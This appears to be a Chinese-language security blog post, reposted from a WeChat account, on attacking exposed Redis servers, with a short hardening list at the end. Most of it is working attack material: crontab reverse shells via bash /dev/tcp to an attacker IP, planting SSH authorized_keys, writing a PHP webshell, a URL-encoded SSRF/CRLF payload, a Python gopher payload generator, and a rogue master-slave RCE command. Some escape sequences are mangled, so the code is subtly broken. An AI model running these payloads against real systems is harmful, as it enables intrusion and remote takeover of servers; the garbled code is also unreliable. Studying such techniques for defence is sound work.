-
计划任务反弹shell
-
redis写入公钥利用私钥登录ssh
-
redis往web物理路径写webshell
-
ssrf通内网redis反弹shell
-
利用Redis主从复制REC
-
Redis安全配置
计划任务反弹shell
利用条件:
-
允许异地登录
-
redis存在未授权访问/弱口令
-
安全模式protected-mode处于关闭状态
利用方法:
通过未授权访问连接redis
创建一个key xx,值为反弹shell语句,直接往当前用户的crontab里写入反弹shell,换行是必不可少的。
set xx "n* * * * * bash -i >& /dev/tcp/192.168.17.141/7777 0>&1n"
修改备份目录为linux计划任务目录
config set dir /var/spool/cron/
修改备份文件名为 root
config set dbfilename root
以root身体执行计划任务
save
结果:succeed!
redis写入公钥利用私钥登录ssh
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
利用条件:
-
允许异地登录
-
Redis服务使用ROOT账号启动
-
Redis存在未授权访问/弱口令
-
安全模式protected-mode处于关闭状态
-
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
利用方法:
本机生成密钥公钥
ssh-keygen -t rsa
进入ssh路径,防止乱码导出我们的key
(echo -e "nn"; cat id_rsa.pub;echo -e "nn") > key.txt
利用Redis导入公钥到key xx
--pass是登录密码无密码可不填
cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xx
到Redis查看key xx的值是否为我们导入的私钥
后面同上
利用gopher协议反弹shell
config set dir /root/.ssh
设置文件名
config set dbfilename authorized_keys
保存
Save
最后直接利用我们的ssh公钥连接服务器
实验结果:succeed!
Redis往web物理路径写入webshell
同样设置备份目录位置
set dir /var/www/html/ config
设置备份文件名
set dbfilename shell.php config
设置key x值
set x "<?php phpinfo();?>"
保存
save
ssrf通内网redis反弹shell
利用ssrf漏洞探测内网服务器的端口开放情况
探测本地的7001端口开放状态(当前开放状态)
本地的7001端口关闭状态
发现内网redis服务
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
Payload:
http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
实验结果:succeed!
利用gopher协议反弹shell
/*gopher协议反弹shell利用脚本*/
import urllib
protocol="gopher://"
ip="172.18.0.2"
port="6379"
reverse_ip="192.168.17.141"
reverse_port="7777"
cron="nnnn*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1nnnn"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
利用Redis主从复制REC
利用条件:
-
Redis存在未授权访问/弱口令
-
安全模式protected-mode处于关闭状态
-
允许异地登录
利用方法:
目标redis ip(从机):192.168.17.138
攻击机(主机):192.168.17.130
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
python3 redis-rogue-server.py --rhost 192.168.17.138 --lhost 192.168.17.130
实验结果:succeed!
Redis安全配置
-
使用普通账号启动Redis
-
在Redis配置文件设置只允许本地访问
-
在Redis配置文件开启保护模式protected-mode 开启 (默认开启)
-
在Redis配置文件设置redis密码requirepass
-
在Redis配置文件更改Redis默认端口
本文始发于微信公众号(Khan安全团队):Redis攻防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论